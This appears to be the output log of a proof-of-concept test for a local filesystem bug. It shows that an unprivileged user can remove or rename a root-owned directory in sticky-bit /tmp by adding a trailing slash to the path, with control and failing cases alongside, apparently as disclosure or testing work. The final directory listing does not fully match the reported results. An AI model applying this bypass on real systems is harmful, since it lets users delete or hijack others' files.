===== sticky-bit matrix on /tmp =====
--- a1 control: rmdir victim, NO trailing slash (expect EACCES/EPERM)
phase=a1 uid=1001 euid=1001 base=/tmp/df2716 baseb=/tmp/df2716b
rmdir   (/tmp/df2716/victim        ) = -1 errno=13 (Permission denied)
rc=0
--- a2 PoC: rmdir victim WITH trailing slash (BUG: expect 0)
phase=a2 uid=1001 euid=1001 base=/tmp/df2716 baseb=/tmp/df2716b
rmdir   (/tmp/df2716/victim/       ) = 0   *** SUCCESS ***
rc=0
--- a3 control: rename victim out, NO slash (expect EACCES/EPERM)
phase=a3 uid=1001 euid=1001 base=/tmp/df2716 baseb=/tmp/df2716b
rename  (/tmp/df2716/victim        , /tmp/df2716/df2716_stolen) = -1 errno=13 (Permission denied)
rc=0
--- a4 PoC: rename victim out WITH trailing slash (BUG: expect 0)
phase=a4 uid=1001 euid=1001 base=/tmp/df2716 baseb=/tmp/df2716b
rename  (/tmp/df2716/victim/       , /tmp/df2716/df2716_stolen) = 0   *** SUCCESS ***
rc=0
--- a5 PoC: rename own dir ONTO victim/ (BUG: expect 0)
phase=a5 uid=1001 euid=1001 base=/tmp/df2716 baseb=/tmp/df2716b
rename  (/tmp/df2716/df2716_own_dir, /tmp/df2716/victim/) = -1 errno=2 (No such file or directory)
rc=0
===== append-only (sappnd) matrix on /tmp =====
--- b1 control: rmdir sappnd-dir entry, NO slash (expect EPERM)
phase=b1 uid=1001 euid=1001 base=/tmp/df2716 baseb=/tmp/df2716b
rmdir   (/tmp/df2716b/sub          ) = -1 errno=1 (Operation not permitted)
rc=0
--- b2 PoC: rmdir sappnd-dir entry WITH trailing slash (BUG: expect 0)
phase=b2 uid=1001 euid=1001 base=/tmp/df2716 baseb=/tmp/df2716b
rmdir   (/tmp/df2716b/sub/         ) = -1 errno=1 (Operation not permitted)
rc=0
===== post-state =====
ls: /tmp/df2716_stolen: No such file or directory
drwxrwxrwt  3 root  wheel  88 Aug 31 05:20 /tmp/df2716
drwxr-xr-x  2 root  wheel   0 Aug 31 05:20 /tmp/df2716/victim
drwxr-xr-x  2 maxx  maxx    0 Aug 31 05:20 /tmp/df2716_own_dir
drwxrwxrwt  3 root  wheel  88 Aug 31 05:20 /tmp/df2716b
drwxr-xr-x  2 root  wheel   0 Aug 31 05:20 /tmp/df2716b/sub